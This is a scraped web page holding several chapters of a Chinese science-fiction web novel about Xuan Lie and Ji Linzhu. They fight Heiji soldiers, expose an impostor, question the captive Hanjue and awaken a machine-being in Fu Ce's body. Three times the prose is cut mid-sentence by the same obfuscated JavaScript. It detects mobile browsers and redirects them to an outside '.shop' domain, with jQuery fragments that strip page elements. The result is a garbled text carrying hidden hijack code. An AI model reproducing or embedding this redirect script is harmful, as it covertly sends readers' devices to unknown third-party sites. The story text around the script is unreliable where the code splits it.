怕黑寂军数量太多全都挤在这空间里,玄烈首先召唤出小型库星锥幻影飞出门外,用杀戮横起一条拦截带网。见状,纪凛烛也使出机械臂上指尖的几条尖刺,恰好同幻影们绞成一条麻花型的拦截网。 离得近的用库星锥,离得远用库星,玄烈就在这两种武器间轮换着,有些缺乏效率,但面对黑寂军也还算可以应付。然而纪凛烛那边速度比这边快得更多。只见几道光在她身前回闪,机械手腕的光束发射器就将那些黑寂军大卸了不止八块。 就在实验室内黑寂军越发减少的时候,一束电光在黑寂军群间游走轰然刺向玄烈的眉间。幸而玄烈反应迅速,他连忙撞开身边一黑寂军侧起身,那道电光边直直钻入金属台,并灼出了一个半人高的大洞。 黑寂军不该有这么强的武器。玄烈库星锥手起刀落,劈出了一条七零八落的路。他看着那穿着黑寂军铠甲,身形却没黑寂军高壮的身影,当即意识到这是混在黑寂军群里的奸人。 那人手里端着的光炮形状非常像小型火箭筒,比火箭筒更便携,是他不曾在舜氏武器库见过的武器。 纪凛烛这边也将黑寂军清理干净了,那人穿过一望无际的黑寂军尸体原野,看到了纪凛烛。不知是那人表情太生动,还是黑寂军头盔质量不行,隔着坚不可摧的黑寂军面罩,玄烈竟也看出来那人在看到纪凛烛之后无比震惊的表情。 那人猛地摘下头盔,露出他那仍大写着惊讶的脸。 结果看到他的脸,玄烈脸上也显现出一副难以名状的吃惊。 对着半长发微卷、颇有艺术家气息的那个人,玄烈犹豫地指向他,“向、向……” “他不是向繁森。”纪凛烛走来,按住了玄烈的手腕。 假向繁森突然大笑起来,“没想到你还活着……那就从你这里下手吧!” 说着,假向繁森手里的炮口直接对向纪凛烛,“咔”地一下扣下了扳机。曲折锋利的电光“咻”的一声飞向纪凛烛心口,玄烈下意识伸手要将纪凛烛揽过来。 但他失败了,反而被纪凛烛扯了过去挡在身前。他的手被纪凛烛反扣着难以挣脱,整个人一览无余地背对着韶赋修,只得怔怔望着纪凛烛坚定的双眼,等待那光向他背后涌来。 电呲啦一声钻进了玄烈心口处正对的背部,灼烧与爆炸在他胸腔里发出“嘭”的闷响,血径直与电刺入的反方向飞溅出来。被冲击力一击的玄烈向前一倾,纪凛烛迅速放开他的手扶住了他的肩膀,让他不至于倒在她身上。 远处的假向繁森笑中带着疑惑,他阴阳怪气地哼了一声,抬着的炮筒始终没有放下,满心盘算的是再开一枪。 纪凛烛神色不改,表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14439291|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情里写着“相信我”。她捧起玄烈的脸让他不要昏过去,左手食指间指向玄烈心口,“可能会有点疼,但很快就好了。” 没等假向繁森那边下手,一道电流从纪凛烛左手手腕的金属环里窜出,那手环上指向淡紫色刻度的指针也指向玄烈,那电光便沿路之上,顺着她的手指也刺进了玄烈心间。 又是“嘭”的一声响,两道白紫的光像是将玄烈身体贯穿了。丝丝殷红的血从他嘴角渗出,他身前身后都踊跃着两道相牵相扯的力量。背后的那缕光也在冲撞着,纪凛烛不肯松手,电光便也在她手上膨爆火花。 最终,一簇电光的余孽化作光团不敌纪凛烛指尖下的力量,从玄烈后背的伤口渗出,犹如离弦之矢一般反过来向假向繁森扎去。 然而那假向繁森竟躲也不躲,那道光就这么毫无保留地砸中了他抬起来的手臂。黑寂军臂甲轻而易举被烧成了一滩金属溶液,而臂甲下方那人的手臂,却反射出锃亮的金属光。 血肉再次凝结,清新的薄荷味道跟随血液瞬间流至全身,时至今日,病毒带来的超强愈合力已经可以在病毒尚未被激发的时候奏效了。玄烈非但没晕,而且能无比清晰地认知到血液翻腾的感觉。 像是凭空卸下了千斤重沙袋,再不抓着什么物体恐怕就要飘到天上去了。玄烈猛然睁眼,抓住了纪凛烛那仍有电流流淌的手腕。 泡沫般的球状能量正在融入血液,那些血肉与金属板以及机械零部件相嵌合的地方骤然明了地呈现在玄烈脑海中。哪些部位是可以卸下的软壳,软壳下隐埋的枪炮在何处,哪里是软肋,哪里是不可破坏的护盾,他一清二楚。 真正的玄烈和昔日第一战备身躯之间的界限彻底被打破,那道封锁了二十年的关键锁,终于被撬开了。 见事情不对劲,假向繁森转身便跑。 那道黑影闪出实验室,玄烈迅速甩出了库星锥,命其去追。寒光噌地一跃二去,在走廊间精准毙命了无数黑寂军。 金属摩擦声沿走廊远去,突然在走到一百米开外的地方停住了。 “小心这个人,”纪凛烛点了点自己手臂,“他可能也经过改装。” 玄烈捂着尚有点疼的心口,点点头“嗯”了一句。 铿铿脚步声从库星锥声响停止的地方向这边靠近着,听起来不像是黑寂军的脚步。那脚步声出奇的缓,出奇的镇定,也不像是机械体。 两人保持着静默,直到一个原本瘦削却被外骨骼撑得十分壮硕的身影拐过门边,带着程炼杨宁以及一众高级黑寂军站到了门前。 舜希优雅样子不改,金色面具上一对金色的假眼朝纪凛烛投去了目光,“你就是那个叫纪凛烛的实习生?” “是。”纪凛烛道。 一把全透明的手枪忽地凭空幻化在舜希手里,她摆弄着手里的枪,顺势上了膛,“你不是死了吗?” “现在这个世道,谁能完整地活着,谁能完整地死呢?”纪凛烛笑道。 “办法有很多,”舜希举起枪对准玄烈的脑袋,“就看你们怎么选了。” 纪凛烛从玄烈那拿来了第一战备的智识芯片,举在面前,“我们从来是为舜氏办事的,到如今一直没有变过,以后,也不会。” 黑洞般的枪口没有一点摇晃,舜希举枪听完了纪凛烛的话,半分钟后,她放下了枪,那面面具再次绽开笑容。 “砰——”,子弹射穿了那扇最大的屏幕。 176. 第二战备(3) “凛烛!你还活着!” 遥遥大叫着一下子蹦到了纪凛烛身上熊抱住她,二人险些一同摔在地上。 对这个名字尚有阴影的纪凛烛只得假笑一阵将遥遥撇了下来,“是啊,我还活着。” “是谁救了你啊?你怎么都不来个消息呢!”遥遥撇着嘴很不满意地拽扯着纪凛烛的手。纪凛烛也不好推开她,“小真姐救了我。” 完了,提到舜真就是戳到了遥遥的软肋。只见她眼里回闪着的那半真半假兴奋的光顿时哑了下去,慌张地提了嘴自己还有事,就这么离开了。 但离开前,遥遥特地瞪了眼玄烈,贼溜溜的眼神在纪凛烛和绯篱身上反复横跳,意思是让玄烈好好处理这件事。感到甚是无语,玄烈扶着额头假装没懂她的意思。 绯篱上前握住了纪凛烛的手,对她手里的茧子伤疤颇是心疼,“凛烛老师,你受苦了。” 玄烈不解地走上来,“你一直都知道吗?” “嗯啊!”绯篱灿烂地大幅度点了点头。玄烈再次捂着心口一副被蒙在鼓里快要吐血的表情,把绯篱和纪凛烛二人都逗笑了。 “啊,我也不能久留了,”绯篱将提来的好几大盒营养品塞进纪凛烛怀里,“这鱼再摸下去就要被发现了,两位老师我先走啦!凛烛老师好好休息!” 说着,绯篱一溜烟就窜出门去消失无踪了,明亮干净的房间中,只剩下玄烈和纪凛烛两个人。 纪凛烛实习生的职位是被恢复了,那些人甚至都不肯给人家转个正。宿舍和办公室稍后才会批下来,于是玄烈带她参观了自己的房间。 门轻轻碰住,纪凛烛饶有兴致地走来走去仔细观察这房间的装潢,感叹这房间的确是“五脏俱全”。她时而动动门口挂着的几坨坨胶囊雨衣,时而拨弄几下书柜里摆着的各种书。玄烈则靠坐在桌边看着她好奇地在这么一小片空间里转来转去。 感受到有灼灼的视线挂在自己身上,纪凛烛疑惑地看向玄烈,却发现他在笑,“你笑什么?” 玄烈自己都没感觉到自己在笑,他摸了摸自己的脸颊,这才感觉脸都要笑僵了,“像做梦一样。” 纪凛烛也笑起来,笑他的傻样。不大点的房间立马就逛完了,她拖出椅子坐到玄烈面前,“其实这么久以来发生的事情,我都知道。” “都知道?”玄烈不太相信。 “是啊,我还看到你那天晚上被伏策带着飞。”纪凛烛抱起手臂自豪道。 玄烈很快想起那天晚上,他收到的那封信,以及在酒精作用下飘飘欲仙又摇摇欲坠的他的大脑,人是在空中飞的,心却在纠结里拧成了一团他以为这辈子都解不开的结。 “阿烛,我很想你。”玄烈望着纪凛烛,无比认真地道了这么一句。 “我也是。” 说罢,纪凛烛从衣袖里取出一根细窄的玻璃瓶,是当日存着压缩红玫瑰的那根玻璃瓶。令玄烈惊诧的是,那支玫瑰仍然完好地在那瓶子里。她将那玫瑰抽出,娇艳欲滴的鲜红玫瑰立刻恢复了原样子。 “所以我迫不及待地见了你一面,虽然是违规的,”纪凛烛耸耸肩,“回去之后小真姐就把我训了一顿。还好只有绯篱注意到我,否则这个项目就要因为我功亏一篑了。” 纪凛烛笑得并不轻松,玄烈伸出手轻抚了抚她的脸颊,顺势将她一缕散落的碎发松松地别到了而后,“幸好它还在你这里。” “真红啊,”纪凛烛转着这支玫瑰,“你从哪找到这么红的玫瑰呢?” “颠转里很少有鲜花了。幸好我那天去得早,赶得巧,才在花店买下了最后一支。”玄烈语气骄傲得像个捡了五毛钱并主动上交警察叔叔的小学生。 纪凛烛突然惊起,依照着记忆跑到门边置物架上拿起一琉璃瓶摆件,灌了些水,将玫瑰插了进去,最后将其摆在玄烈桌上,摆在那毫无美感可言的笔筒旁边。 “我很喜欢。”纪凛烛喜悦道。 “阿烛。” “嗯?” “那些事,你早就知道吗?” 见玄烈有些惆怅,纪凛烛也跟着倚靠在桌边,和玄烈并排着,肩靠着肩,“差不多,师父都告诉我了……但里面一些细节我不清楚,包括我记忆里的你,”纪凛烛伸出手捋了捋玄烈那头银白的头发,“我也是才知道,原来那个人就是你。” 转过头来,纪凛烛无措地正对上玄烈那张泪眼朦胧的脸。通红的脸颊,泛红的鼻尖,珍珠般淌下的清澈眼泪,微微拧着的眉毛。 “我以为我再也见不到你了……”玄烈委屈地说。 纪凛烛替玄烈拭去泪水,又用拥有母亲般慈爱温度的手掌捧着玄烈的脸,看着这么壮实的小伙子此刻正像个大型的毛绒动物,流泪流得楚楚可怜,一时又要被逗笑了。只是她越笑便发现自己也越渐想哭,等到她的眼泪也流出来,她就又变得想笑了。 “把你吓坏了吧!”纪凛烛搞怪地捏起了玄烈的脸。但她忘记了自己现今也是能够徒手劈钢筋的大力士,一下子就给玄烈捏出了痛苦表情,这才尴尬地立刻抽回了手,“啊抱歉我没控制好力度……疼吗?” 本来就红的脸颊现在更加红了,仔细看好像还泛着点青肿,那股伤心劲还没过去的玄烈摸着自己的脸,还没流完的泪水硬生生给憋回去了。 “不、不疼……”玄烈呲牙咧嘴地回答道。 这个小插曲结束后,二人翻开绯篱送的营养品箱,各自取了一瓶颜色漂亮的营养剂,开始靠在窗边晒太阳。不过颠转没有太阳,这里解释为晒天光更合适。 玄烈嘬了口吸管,吸上来的碳酸液体差点让他呛住,“这个冒充者是韶赋修派过来了,按理说他暴露了就该失去作用了,为什么他还在这里?” “以往韶赋修埋藏在这里的人只被当作窃取机密用,好像从来没有直接要对你发起进攻的,”纪凛烛也浅尝了一口手里嫩粉色的营养液,其逆天甜度让她当即就决定再不会喝一口,“说起来,你们真的能确定韶赋修没有进颠转吗?” 已经很久没有负责探测消息的机械飞鸟出现了,玄烈望着无边无际的天界,猛然站了起来。 “有一个人知道。” 眼睛重新亮起来的刹那,琀珏感觉自己好像睡了有一百个世纪那么久。身上的伤好像被治过一些,不再那么痛了。 想不到自己居然还有能再睁开眼的那天。敞亮的光穿过百叶窗恰好撒在他眼边,他眯着一只眼率先看到蹲在他面前的玄烈。玄烈拿着一根小型便携式电棍,在掌间玩弄着。 琀珏心想他就拿这么个小玩意想跟他斗,真是太幼稚了。很快,他感受到身上紧绷绷的束缚感。一圈圈粗厚的麻绳把他死死捆在冰凉的柱子上,脖子以下每个关节都难以动弹。 但他仍嗤笑玄烈小看了他。于是当他赫然睁开眼睛预备猛地挣脱绳子之时,他看到了玄烈身边站着的另一个人。 纪凛烛正带着口罩收拾着工具包,像个机器人医生,将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14448688|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那些用于给琀珏包扎治伤的工具整整齐齐码好,还没空看琀珏一眼。 “凛……烛?”琀珏以为自己瞎了或是上天堂了。 纪凛烛摘下口罩,拉上了工具包的拉链,“感觉还好吗?你伤得太重,我只能把你修到这了。” 琀珏眼神直勾勾盯着纪凛烛的脸一刻不松懈,玄烈跟他说什么他都听不见,满脑满心都是对自己对面前人对全世界的疑惑。直到玄烈挡在他脸前,挡住了他的视线。 “听见我说话了吗?” “没有。”琀珏如实回答。 十分无奈,玄烈忍着锤他一顿的冲动,重新耐心地问:“我是说……” “等等!”琀珏一惊一乍道,“她还活着,你一直都知道?” 琀珏鹰一般毒辣的目光里,玄烈怔了两秒,发出长长的一声“嗯”,像是二声上扬的疑惑,又像是四声沉稳的笃定。 在看到琀珏脸当即色变的时候,玄烈那飘忽的眼神也定住了,他再次“嗯”了一声,这次是带着做贼心虚的肯定的一声“嗯”。有时候撒这么一个小谎,也无可厚非吧? 看起来琀珏真的是气急败坏了,那种被欺骗被猴耍后的愤怒神色令他本就冷若冰霜的脸更加严厉死板起来,他不再看纪凛烛,眼神的余光却到处透露着绷不住的复杂心绪。 “第二战备基地炸了?你去晚了吧?”琀珏问。他现在只能转移注意力将重点寄托在别的能使他兴奋的问题上。 “是炸了,”玄烈点点头,“不过,你不是说,你们把第二战备偷走了吗?” “你是说那个盒子?”琀珏还在狡辩,“一个破盒子而已,有折腾它的功夫涂云早就研发出两个第二战备了。” “等一下,”玄烈突然叫停,“阿烛,他身上的远程监控切断了吗?” “切了,涂云那边已经无法收到他的信息回传了。” “这么说来……”玄烈将电棍抵在琀珏颈边,电棍上的狼牙刺尖挨着表皮,琀珏一动就会被扎到,“你们不知道第二战备其实已经成型了?” “成、成型?”琀珏眼里闪现出懵懂无知的光芒。 “没错,”纪凛烛笑眼盈盈向前站了一步,右手食指指向自己的额头,“就是我。” 大写的问号摆在琀珏脸上,有那么一瞬间他觉得自己好像身处一场巨大的恶作剧里。他后脑勺用力磕向身后的柱子,磕得房间内到处回荡出“嗵嗵嗵”的声音。 然后他再次确认,他确实还活着。 “那你,很久以前就……” 纪凛烛摇摇头,“我也是来了永璃岛才知道。” “你、还是……?” “第二战备的核心自小就被植入我的体内,但我归根到底还是人类。” 短暂呆滞过后,被冲击到的琀珏又找到了可以安慰自己的点,“还好,还好,你还是人类,还是……” “我也是。”玄烈补充道。 “你?你是什么?”琀珏不满玄烈插嘴。 “我也是人类。” “什么?!”琀珏就差骂他说“你别做白日梦了”。 “我也是才知道,”玄烈耸耸肩,一副很无辜的样子,“否则我怎么会流血呢?” 琀珏像个尸体一样脑袋泄了力歪靠在柱子上,含恨闭上了眼睛,并且打算永远不再睁开。 懒得陪他演戏,玄烈用电棍戳了戳琀珏。 “我问你,韶赋修真的没有进颠转吗?” 177. 凛烛(7) “与其期望我会告诉你这个,不如先期望我死更容易一点。”琀珏没好气道。 “琀珏,实验室已经被打开了,芯片也在我们手里,涂云败退只是时间问题,”纪凛烛和缓地解释着,“你不想好好活着吗?” 望着她的双眼,琀珏坚忍地说:“我为你而生,没有好好活着的理由。” “你生来是棋子,但你不能把自己看成是棋子。”这实属玄烈的经验之谈。 “没错,琀珏,你连死都不怕,为什么不能发挥自己的力量,从一个被呼来唤去的棋子变成一个真正能在局面上争据一席之地的人呢?”纪凛烛诚恳道。 过了一阵,玄烈被请出了房间,原因是琀珏说一看见玄烈那张脸就想不起来任何事情,搞得玄烈再气也不能一榔头敲在其头上,只能先当个门神守在门外。 又过了半天——玄烈觉得至少有半天了,“半天”这个量词还是他委婉估计的——纪凛烛走出来关上了门。 “他只肯说一半。他说他无法彻底当个叛徒,那是他最看不起的,所以他只会为咱们应对舜希提供帮助,别的他不会再说一句。” “真是惯的……”玄烈实在忍不住想冲进去揍他了。纪凛烛赶忙把他拉住,“别较劲了,他还是提供了一些有用信息,比如颠转的确有别的出口……” 她压低声音,“涂云也有一台颠转机器,可以控制颠转的旋角,他不确定韶赋修是不是会通过那机器制造的裂口进出,理论上是可行的。同理,咱们这边的机器大概率也能控制。” “问问绯篱?” “可以。”纪凛烛点头道,“不过不急,在那之前咱们得做好充分准备。你说舜氏机械体的掌控令在你手里?” “对,我现在是机械体总队长。” “能确定这是唯一能控制他们的渠道吗?”纪凛烛问道。 大概、可能……玄烈沉默了。 “所以,万一要动手,面对舜希和涂云的夹击,我们还得多做预案。”纪凛烛道。 “不是,你们就这么跑过来是真不怕给我添麻烦啊!”杨宁小小声咆哮道。 安保部内依然忙得热火朝天,大批进进出出的工作人员这一天都为集团无辜损失那么多黑寂军的事跑进跑出,网络系统趁机被攻击,后台监控提示部分机械体不安稳,最新一日监测评估呈现出他们隐有暴动倾向。 技术部和生产部表示要他们短时间补上损失的黑寂军数量简直是天方夜谭,行政部和运营部在论坛观察到到越来越多的人对昨日发生的事情产生好奇,谣言越传越广,要求安保部尽快对散播谣言的人进行封锁处理。 焦头烂额的杨宁环顾四周一圈,将一块u盘塞进玄烈手里,“里面的内容看过会自动消失,最近两天别来找我,她会怀疑。” 一路回到房间,u盘插进电脑,顶层实验室的监控就这么呈现出来。舜希独自靠在金属台边,实验室没有开灯,屏幕莹莹的光洒在她身上,在鲜亮的金属面具都无法展露光芒。她沉默着,看着第一战备的记忆。 监控呈好几倍速度跳过了她一动不动浏览完记忆的画面,末了,屏幕黯淡下去,她还是雕像一样立在那,直到再过了半个小时,她才站起身,头也不回地离开了实验室,连第一战备的智识芯片也没拿走。 “这么说,舜希以潼霜之名进入潼氏,但其实潼玚在死之前就已经完全知道了舜延制造大火并主导这件事的事实?”纪凛烛分析道。 画面消失了,视频自动进入了阅后即焚的流程,电脑屏幕显示现在u盘里已经空荡荡。 “她暴露了?”玄烈喃喃道。 纪凛烛“啪”地一下合上电脑,“总之那枚智识芯片在舜希那已经没作用了,但它恰好还可以为咱们所用。” 一不做二不休,“走!”玄烈一声令下,二人又出了门。 终于和棱镜恢复了联系,这个可怜的孩子在被骨环用欺骗的手段摄取了所有的数据和记忆后再不敢见玄烈一面,此时正不知道蹲在什么地方画圈圈自闭呢。在棱镜眼里,玄烈没说要找他见面追责已是宽宥,于是当玄烈提到要再进顶层实验室时,他立刻搞来了十小时的权限,并以暂时性故障为由贴心地帮他们切断了监控。 然而他们根本用不了十个小时。 今天又是一周一度开会的日子,实验人员都跑去开会做总结展望下一周去了。当玄烈和纪凛烛乘电梯来到顶楼时,这里静谧无声,灯倒是大亮着,桌边台上的各类实验仪器凌乱而又有秩序地散着,昭示着他们随时会回来接着干活。 玄烈给纪凛烛指了指屏幕边的一块区域,“当时我就在这里,比对了我和你的指纹,”他举起自己指尖带疤痕的手,“确保我手上的指纹不是你的,不是你用结血束催动的。” 刚从“蛋”状仪器内取出第一战备芯片的纪凛烛走了过来,看到玄烈的手。她轻轻摩挲着玄烈指尖凹凸不平粗粝磨手的疤,“要是真被实验室门锁电到,恐怕咱们真的就不能见面了。我知道有一种很厉害的祛疤药膏,回去给你抹上。” 玄烈一听,直接乐滋滋到可以不管不顾了,记忆里的疼痛骤然消逝,知道的明白纪凛烛说的是药膏,不知道的还以为她说的是蜂蜜。 此地不宜久留,纪凛烛扯着冒傻泡的玄烈飞速溜进了电梯。 黄昏降临,养疗部区域最尽头的小房间被窗外橙色暖光映得通红,每个人脸红得披个褂子直接能唱戏去了。通向走廊的百叶窗紧合着,但即使开着也没事,这里很少有人往来。 这个才成立了没几个星期的养疗部最终被集团放弃了,因为他们觉得机械体在曾经舜氏战略规划里的占比太重了,今非昔比,是时候好好冷落一下这些不知天高地厚的孩子,顺道把物力财力集中放到更重要的部门去。 所以,后来玄烈考虑到这里不被打扰还有绝佳的落日可看,伏策待在这应该也会很舒心,才拒绝了假向繁森的提议,没将伏策放进墓房,而是一直留在这里。 芯片插进凹槽的瞬间会有一道指示光亮起,提示这架机械体的苏醒。 天气依旧不爽快,颠转里的温度完全依照外面世界的气候走,好在这段时间不再下雨了。风将玻璃窗吹得“呜呜”直响,打破了床上人的美梦。 他眼未睁开眉头倒先挤了起来,一副大病初愈却落下病根的痛苦样。随后,眼睛才精疲力竭地掀开一条缝,懵懂地探视着头顶的一切。 头还是很疼,但脑子先告诉了他自己身处在陌生地方,提防合警惕让他立刻惊坐起来,而疼痛伴随着他大幅度的动作也激动起来。 他猛地捂住自己的脑袋,咧着嘴,一侧脸颊的肌肉疼得发颤。到这时,他才看到床边站着的玄烈和纪凛烛。 看到玄烈的刹那他懵了,犹如冰水浇头,将疼痛撕裂了,“你、你是谁?” “正常先问的不该说‘我是谁’吗?”纪凛烛笑道。 “我是、我是……” 玄烈拿起一旁桌子上的方形镜子,摆在他面前。看着镜子里伏策的脸,他直接原地石化了。 片刻,冰川消融,他目光惊奇地移向玄烈,又望向镜子,再移向玄烈,好半天才吐出一句诡异的话,“你……是我?” “我……”玄烈一时也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14457576|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道该怎么接,“片面的说,我不是你。” 见那人更懵了,玄烈放下镜子,坐到他对面去,“我叫玄烈。” “玄烈……” “你是凛烛。” “对。”他用力点点头。看来倒是没傻。 “今年是R716年,那件事发生的二十年后。”玄烈道。 “二十年?二十年了?!”像是回忆起了过去片段,凛烛兴奋地瞪大了眼睛,“这么说,一切都结束了?”但他又忽地失落下来,“舜氏……还在吗?” “在,你现在身处的,就是舜氏大楼。”纪凛烛道。 “你是……”凛烛问道。 “我来给你讲讲,二十年来发生了什么吧。”玄烈道。 漫长的时光,漫长的黄昏渐渐倾斜远去,窗外替换成了更加漫长的黑夜。将靠外窗户的百叶窗合上,纪凛烛打开了灯。那是可怜巴巴的一根灯管,尾端黑色的线还露了出来,惨白的灰光洒在墙面上,比不开灯还要显得凄惨。 终于,玄烈大致道清了他所知道的这一大摊子事。听完,凛烛陷入了无限的沉思。玄烈能从他脸上看到机器人稍显呆滞的一面,曾经的他也是那样。 “原来你就是舜董抱来的孩子,而你……”凛烛转向纪凛烛,沉重的脸上显出无尽的歉意,“对不起,我……我没有想到会是这样。我不是有意要伤害你,也不是有意顶换掉你的名字……” “没关系,这不是你能决定的,”纪凛烛始终是笑着的,“名字的事……我想好了,等到这一切都结束,我会去改名,改回妈妈给我起的名字……事情走到今天这一步也是很多人共同选择的结果,而这件事情不能再拖二十年了,所以我们冒昧地将你唤醒,希望你能帮助我们。” “而且,我们拓了一份你的记忆样本,以备不时之需,可以吗?”玄烈接着道。 “当然、当然可以……我曾经天真地以为当我醒来的时候这些事情就会过去,看来我对人类的了解还是太少了,”凛烛抬起头来,“玄烈,光靠拳头的第一战备已经落后了,我有预感,你会是比我更加成功的第一战备。” 玄烈从来没想到凛烛会这样说,他甚至做好了凛烛大发雷霆要抢回这具身体的准备,因此从实验室下来的这条路,他走得有些艰难,有些抗拒。 在听到这么一句话后,他心里的一条重担忽地卸下了。毫不夸张地讲,这条重担几乎伴随了他一路以来的每一步。 说罢,凛烛拿起了镜子,对着镜子内的脸庞感叹道:“好久不见了,老朋友,我还欠你一个道歉。” “他给我讲过,你们的龙吸水。”玄烈道。 凛烛眼里带闪,“他讲过?他还记得?!” 玄烈点点头。 “总之,在事情结束之前,还拜托你演好伏策这一角色,绝不能让外人发现。”纪凛烛道。 “没问题,”凛烛笑了,他的笑就是伏策的笑,因此这笑容怪异极了,但他仍大咧着嘴笑,努力适应着这具身体,“对了,我有一个不情之请。” “你说。”玄烈道。 “舜……真,在吗?我想去见她。”凛烛试探道。 忘了讲这一茬了。玄烈欲言又止了半天,最后还是将关于舜真的这部分内容补了全。 听着听着,凛烛的笑容凝固了,而后逐渐收敛,直到嘴角再也提不起来,“是这样……”他沉默了。 过了好半晌,他望向纪凛烛,“你从一开始就作为人类生活对吗?那你知不知道我……我死后,能不能去到你们人类所说的另一个世界?我……还是想见她一面。” 178. 弱点(1) 伏策原本的房间在他死后就被收回了,他们给凛烛收拾了一些生活用品,打算还是给他安置到那间安静的小房间去。 三人刚走到拐角,就发现一鬼鬼祟祟的身影在走廊里游荡,他们赶忙躲在墙后观察。那一团黑色的人影在还算敞亮的走廊里根本无处遁形,但看样子那人已制造不出什么障眼法了。 他身上还算完好,除了衣服到处是破的,但体内能量虚得很,带着衣服上满身的金属和脚下踏着的金属战斗靴走起路来很是缓慢无力,只能靠着墙边挪动,生怕发出声音来。 “那是……”玄烈悄声说。 “琀珏?”纪凛烛一惊,“他怎么跑出来了。” “谁啊?” 凛烛冒出脑袋就要看,他不看不要紧,那颗头恰好对上了琀珏三步一回头的时候。虽没看到后面人是谁,但琀珏意识到被发现了,立刻就要跑。凛烛来了兴致,立马就想追,却被玄烈按在原地。 “咱们不能暴露,让别人去堵他。” 说着,玄烈取出了新配的腕表,点亮了二队机械体的指令按钮,“二队注意,c区发现可疑人员,二队全体队员务必立即出动搜查。” “他看上去不像是那么弱的人,那些机械体能把他抓住吗?”凛烛发出合理担忧。 “他的芯片被我掰裂了,所能维持的只剩下他的记忆,已经是半个废人了。”玄烈道。 “但是二队会把他抓到的吧?那就麻烦了。”纪凛烛说。 玄烈点点头,“没错,所以咱们要帮他。” 片刻,行动迅速的二队机械体们已经乌泱泱挤到了c区,琀珏在楼梯口瞄着这些突如其来挡住他去路的小孩们,除了暗自骂着他们骂玄烈再无别的办法。 崎朗不知嘱咐了什么,成员们当即散开准备向c区各个方位进行搜查,包括琀珏藏身的楼梯口。不得已,好不容易走楼梯跑下楼的琀珏又被驱赶地跑回楼上去。 纽扣雨施展不出来了,那些他引以为傲的能量全都凭空消失了一般令他再感受不到。奇怪,下楼的时候那每一层的通道口都是开着的,现在竟全都锁上了,不得已,他只能接着往上爬。然而,爬楼梯爬到一半的琀珏忽然腿下一软,“嗵”的一声膝盖猛地磕在台阶上,声响穿了八层楼。 “是谁!”楼下二队队员一声吼,琀珏顿时有了想死的心。 与其像个废物一样活着,还不如了断了。楼下追赶声传来,琀珏摸遍全身上下摸不出一个锋利物能让他自我了断。 正当情势危急,他头顶却传来了光亮。离他仅有十米处的通道门,竟无缘无故自然打开了。 下回再死也不迟。琀珏咬着牙,拼命拖着那条发酸发软的烂腿,一路溜进走廊去。但他瞬时两眼一黑,因为他发现,自己竟然又回到了原位。 玄烈和纪凛烛的声音在拐角处响起,琀珏彻底被前后夹击住了。无可奈何,他拽开了那被他撬开的门,像个犯人一样灰溜溜钻了回去。 身份识别到一半,门“咔”的一声自己弹开了,玄烈看到那门锁边有利器撬动的痕迹。走进门,门内黑漆漆的,麻绳在柱子边堆了一坨。琀珏背对着他们环起双臂站着,假装在欣赏窗外好风光。他的后背极其僵直,孤零零的背影展示出一副故作倔强的心虚感。 但玄烈假装没发现,“琀珏,你看谁来看你了。” 想到可能又是哪个会惊他一大跳的面孔,迎着光,琀珏做好了无论看见什么都绝不会再失态的决定。然后他转身,看到了伏策。 “原来是你啊,你居然也还能活着……啊,难道是复活的?怎么,在我昏迷的这段时间舜氏科技发展跳跃了一百年吗?复活的技术已经被发明出来了?”琀珏没好气道。 然而他对面的“伏策”愣愣地看了他三秒,随之转身看向玄烈,“这家伙是谁?” 一听这话,琀珏当即心宽了八个度,相比起这个傻掉的人来说,他的下场还不算惨。 “这么快就忘了我了?还是我当时下手太狠把你脑子锤坏了?”琀珏冷嘲热讽道,“早知道你就该早一点求饶,没有能力还学别人硬抗,找死。” 凛烛这下明白了他就是杀害伏策的人,在机械体的思维里,芯片受损导致的能力缺失比失忆要严重得多。然而对面这个已经相当于被废了手脚的人到今天还这么嚣张,凛烛极不爽快地“呵”了一声,嘴角扬起发狠的弧度。后背的大刀已然松动,他随时可以拔出刀将那人劈成八块。 他的确想那么做,但他步子还没迈出三步,玄烈就挡在了他身前,“使不得。琀珏对我们来说还有用,他身上有伤,一碰就死了。” 什么叫一碰就死了!琀珏感受到前所未有的窝火,比全斯桉陷害他还窝火十倍,但他知晓自己暂时寄人篱下缺乏实力,于是暗暗将这仇咽进肚子里。 “好了,打架的事回头再说,”纪凛烛给玄烈和凛烛捎了个眼色,“琀珏,我们来还是想问你关于颠转的事情,你说给你一个下午的时间,现在你想好了吗?” “想好了,”琀珏冷眼道,“死也没什么大不了的,既然他想杀我,那就随他去吧。” 